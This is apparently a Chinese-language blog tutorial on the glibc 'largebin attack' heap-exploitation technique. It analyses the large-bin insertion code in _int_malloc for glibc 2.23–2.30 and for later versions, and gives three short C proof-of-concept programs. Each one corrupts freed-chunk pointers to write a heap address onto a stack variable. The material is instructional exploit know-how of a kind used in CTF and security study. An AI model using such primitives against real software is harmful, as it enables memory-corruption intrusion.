关于高低版本的largebin attack攻击

关于高低版本的largebin attack攻击

低版本largebin arrack攻击

此处适用的版本为2.23~2.30

下面是对glibc2.23源码的分析(由于自己画不出这种效果借鉴了大佬的图)

在这里插入图片描述

逻辑还是非常清晰的我把它简单分为一下几个过程:

  1. 从unsorted bin链中取出的chunk大小,是否属于small bin的大小
    • small bin相关的处理
  2. 从unsorted bin链中取出的chunk大小,是否属于large bin的大小
    • 计算出当前chunk大小从属的main_arean->bins的下标
    • 获取该bins下标的large bin的头结点 bck
    • 通过large bin头节点的fd,找到large bin链中size最大的chunk fwd(large bin链中第一个chunk)
    • 当前large bin链不为空(操作的是fd_nextsize和bk_nextsize形成的链)
      • 当前chunk的size < large bin链中最小的chunk
        • 总结:将当前chunk插入到large bin链的尾部,即插入到最小的chunk的后面
        • fwd = bck; 令 fwd 指向 large bin 头结点
        • bck = bck->bk; 令 bck 指向 largin bin 尾部 chunk,就是当前已在large bin链中最小的这个chunk
        • victim->fd_nextsize = fwd->fd; 当前chunk 的 fd_nextsize 指向 largin bin 的第一个 chunk
        • victim->bk_nextsize = fwd->fd->bk_nextsize; 当前chunk的 bk_nextsize 指向原来链表的第一个 chunk 指向的 bk_nextsize(当前chunk的bk_nextsize指向原先最小的chunk)
        • fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          • victim->bk_nextsize->fd_nextsize = victim; 原先最小chunk的fd_nextsize指向当前chunk
          • fwd->fd->bk_nextsize = victim large bin中第一个chunk的bk_nextsize指向当前chunk
      • 当前chunk的size >= large bin链中最小的chunk
        • 从large bin链中size最大的chunk fwd(large bin链中第一个chunk),从大到小遍历,找到首个不大于当前chunk的chunk
        • 如果找到的chunk的大小 = 当前chunk
          • fwd = fwd->fd;将当前chunk 插入到该chunk的后面,并不修改 nextsize 指针
        • 如果找到的chunk的大小 < 当前chunk
          • victim->fd_nextsize = fwd; 当前chunk的fd_nextsize指向这个找到的chunk
          • victim->bk_nextsize = fwd->bk_nextsize; 当前chunk的bk_nextsize指向这个找到的chunk的bk_nextsize
          • fwd->bk_nextsize = victim; 找到chunk的bk_nextsize指向当前chunk
          • victim->bk_nextsize->fd_nextsize = victim; 找到chunk原先前面的chunk的fd_nextsize指向当前chunk
        • 获取找到的chunk的前面的一个chunk(通过bk找到当前chunk插入前,最小的比找到的chunk大的chunk)
    • 当前large bin链为空(操作的是fd_nextsize和bk_nextsize形成的链)
      • 当前chunk的fd_nextsizebk_nextsize均指向自己
  3. 将当前chunk链入large bin链中(fd,bk形成的链

下面通过被破坏的large bin chunk实现漏洞利用的角度来观察不同入链的逻辑(一般是堆溢出修改large bin的fd,bk,fd_nextsize,bk_nextsize

1)首个chunk入large bin链

在这里插入图片描述

  • 此时还没有被破坏的chunk
  • large bin fd,large bin bk 指向这个chunk的首地址
  • chunk的fd,bk指向large bin 头结点的首地址
  • fd_nextsize,bk_nextsize指向chunk自身

2)比最小的chunk还小的chunk入large bin链

先看看该入链逻辑所涉及的代码,寻找可被破坏-用于利用的chunk(从而有堆溢出产生时,构造这种堆结构)以及利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1
fwd = bck->fd; 【2
if (fwd != bck)
{
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; 【3
bck = bck->bk; 【4

victim->fd_nextsize = fwd->fd; 【5
victim->bk_nextsize = fwd->fd->bk_nextsize; 【6
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 【7
}

mark_bin (av, victim_index);
victim->bk = bck; 【8
victim->fd = fwd; 【9
fwd->bk = victim; 【10
bck->fd = victim; 【11

漏洞点主要在于【6】【7】,下面分析一下漏洞原理

victim->bk_nextsize = fwd->fd->bk_nextsize;

通过修改原先最小largebin的bk_nextsize使得被链入的chunk的bk_nextsize也被篡改

image-20241107144156977

fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

分开研究其中 victim->bk_nextsize->fd_nextsize = victim把篡改的BK_NS的fd修改为victim的首地址,fwd->fd->bk_nextsize= victim把bck->bk_ns的值修改为victim的首地址

image-20241107144630988

【8】,【9】,【10】,【11】都是不能控制的

下面是相关代码,可以自己调试看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <malloc.h>
#include <stdio.h>

// OK
int main()
{
printf("begin test\n");
unsigned long stack_var = 0;

size_t *p1 = malloc(0x410); //largebin
malloc(0x10); //to separate

size_t *p2 = malloc(0x400); //unsortedbin
malloc(0x10); //to separate
free(p1);
malloc(0x470); //Release p1 into largebin
free(p2); //Release p2 into unsortedbin

p1[3] = (unsigned long )(&stack_var -4);
malloc(0x470);
return 0;
}

#include <malloc.h>
#include <stdio.h>

// OK
int main()
{
printf("begin test\n");
unsigned long stack_var = 0;

size_t *p1 = malloc(0x420);
malloc(0x10);

size_t *p2 = malloc(0x410);
malloc(0x10);

size_t *p3 = malloc(0x400);
malloc(0x10);
free(p1);
free(p2);
malloc(0x470);
free(p3);

p1[3] = (unsigned long )(&stack_var -4);
malloc(0x470);
return 0;
}

3)放入相同大小的 chunk

所涉及的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1
fwd = bck->fd; 【2

if (fwd != bck)
{
size |= PREV_INUSE;
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
}
else
{
while ((unsigned long) size < chunksize_nomask (fwd)) 【3
{
fwd = fwd->fd_nextsize;
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd; 【4
else
{
}
bck = fwd->bk; 【5
}
}
}

mark_bin (av, victim_index);
victim->bk = bck; 【6
victim->fd = fwd; 【7
fwd->bk = victim; 【8
bck->fd = victim; 【9

漏洞点主要在【4】【5】,下面进行漏洞原理分析

如果fwd和victim大小相等,就会把fwd中的fd取出来用,从上图可以可以想到,假设存在堆溢出漏洞,那就可以修改fwd->fd, bck = fwd->bk这条处理会把伪造的fwd的bk取出作为bck,伪造的fwd chunk的bk字段必须是要有内容的,最好是个可写内存的地址,否则执行【9】时程序会崩溃。然后fwd->bk = victim这条处理就会在伪造的fwd->bk上写入victim的首地址。

image-20241107150123801

4)放入不和其他chunk size相等,且不是最小的chunk

所涉及的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1
fwd = bck->fd; 【2

if (fwd != bck)
{
size |= PREV_INUSE;
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
}
else
{
while ((unsigned long) size < chunksize_nomask (fwd)) 【3
{
fwd = fwd->fd_nextsize;
}

if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))

else
{
victim->fd_nextsize = fwd; 【4
victim->bk_nextsize = fwd->bk_nextsize; 【5
fwd->bk_nextsize = victim; 【6
victim->bk_nextsize->fd_nextsize = victim; 【7
}
bck = fwd->bk; 【8
}
}
else
}

mark_bin (av, victim_index);
victim->bk = bck; 【9
victim->fd = fwd; 【10
fwd->bk = victim; 【11
bck->fd = victim; 【12

主要漏洞点在【5】【7】【8】【9】【10】【11】【12】,下面进行漏洞原理分析

初始状态如下

执行到【7】后状态如下

image-20241107151657377

执行到最后状态如下

image-20241107152134941

修改了零个篡改地址为victim的首地址

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <malloc.h>

int main()
{
printf("begin test\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

size_t * p1 = malloc(0x410);
malloc(0x8);

size_t * p2 = malloc(0x420);
malloc(0x8);
free(p1);
malloc(0x470);
free(p2);

p1[1] = (unsigned long )(&stack_var1 - 2);
p1[3] = (unsigned long )(&stack_var2 - 4);

malloc(0x470);

return 0;
}

高版本largebin arrack攻击

关于glib2.30以后,largebin arrack攻击用下面这个分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
//......
}
//......
}

下面是源码,多加了两个检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
     /* place chunk in bin */   

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); //多的检查
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd) //多的检查
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;